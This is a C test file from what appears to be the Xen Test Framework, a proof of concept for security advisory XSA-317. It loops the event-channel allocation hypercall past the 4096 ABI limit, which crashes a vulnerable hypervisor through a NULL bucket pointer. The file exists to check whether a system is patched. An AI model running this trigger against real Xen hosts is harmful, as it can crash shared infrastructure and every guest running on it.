main.c

Go to the documentation of this file.

#include <xtf.h>

const char test_title[] = "XSA-317 PoC";

void test_main(void)
{
    unsigned int i;
    struct evtchn_alloc_unbound ub = {
        .dom = DOMID_SELF,
        .remote_dom = 0,
    };

    /*
     * Create more event channels than the 4096 ABI limit.  A fixed Xen, or
     * not vulnerable configuration, should fail with -ENOSPC eventually.
     */
    for ( i = 0; i < 4100; ++i )
    {
        int rc = hypercall_event_channel_op(EVTCHNOP_alloc_unbound, &ub);

        if ( rc == -ENOSPC )
            break;

        if ( rc )
            return xtf_error("Error: Unexpected alloc_unbound error %d\n", rc);
    }

    /*
     * If Xen is still alive, it didn't fall over a NULL evtchn bucket
     * pointer.
     */
    xtf_success("Success: Not vulnerable to XSA-317\n");
}

/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */